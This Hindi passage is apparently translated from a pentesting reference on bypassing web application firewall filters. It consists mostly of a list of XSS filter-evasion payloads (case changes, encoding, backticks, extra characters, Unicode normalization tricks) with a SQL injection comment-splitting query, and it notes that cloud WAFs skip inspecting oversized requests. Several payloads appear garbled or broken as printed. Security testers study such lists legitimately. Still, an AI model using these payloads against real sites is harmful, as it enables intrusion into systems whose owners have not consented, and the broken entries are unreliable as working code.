फ़ायरवॉल पर लगे रीजेक्स फ़िल्टर को बायपास करने के लिए विभिन्न तकनीकों का उपयोग किया जा सकता है। उदाहरण में अल्टरनेटिंग केस, लाइन ब्रेक्स जोड़ना, और पेलोड को इन्कोड करना शामिल है। विभिन्न बायपास के संसाधन PayloadsAllTheThings और OWASP पर उपलब्ध हैं। नीचे दिए गए उदाहरण इस लेख से लिए गए हैं।
<sCrIpT>alert(XSS)</sCriPt>#changing the case of the tag<<script>alert(XSS)</script>#prepending an additional "<"<script>alert(XSS) // #removing the closing tag<script>alert`XSS`</script>#using backticks instead of parenethesesjava%0ascript:alert(1) #using encoded newline characters<iframe src=http://malicous.com <#double open angle brackets<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags<img/src=1/onerror=alert(0)>#bypass space filter by using / where a space is expected<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a>#extra charactersFunction("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and promptjavascript:74163166147401571561541571411447514115414516216450615176#octal encoding<iframe src="javascript:alert(`xss`)">#unicode encoding/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statementnewFunction`alt\`6\``; #using backticks instead of parenthesesdata:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+#base64 encoding the javascript%26%2397;lert(1) #using HTML encoding<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)">#Using Line Feed (LF) line breaks<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
यूनिकोड समानांतरता के कार्यान्वयन पर निर्भर करता है (अधिक जानकारी यहाँ), जिन वर्णों का यूनिकोड संगतता साझा हो सकता है, वे WAF को छलकर गुजर सकते हैं और इच्छित पेलोड के रूप में कार्यान्वित हो सकते हैं। संगत वर्ण यहाँ पाए जा सकते हैं यहाँ
उदाहरण
# under the NFKD normalization algorithm, the characters on the left translate# to the XSS payload on the right<imgsrc⁼ponerror⁼'prompt⁽1⁾'﹥--><imgsrc=ponerror='prompt(1)'>
आकार सीमा को पार करना
क्लाउड आधारित WAFs में यह सामान्य है कि यदि payload X साइज़ से अधिक है, तो अनुरोध को WAF द्वारा जांचा नहीं जाएगा। आप उन्हें बायपास करने के लिए इसका उपयोग कर सकते हैं।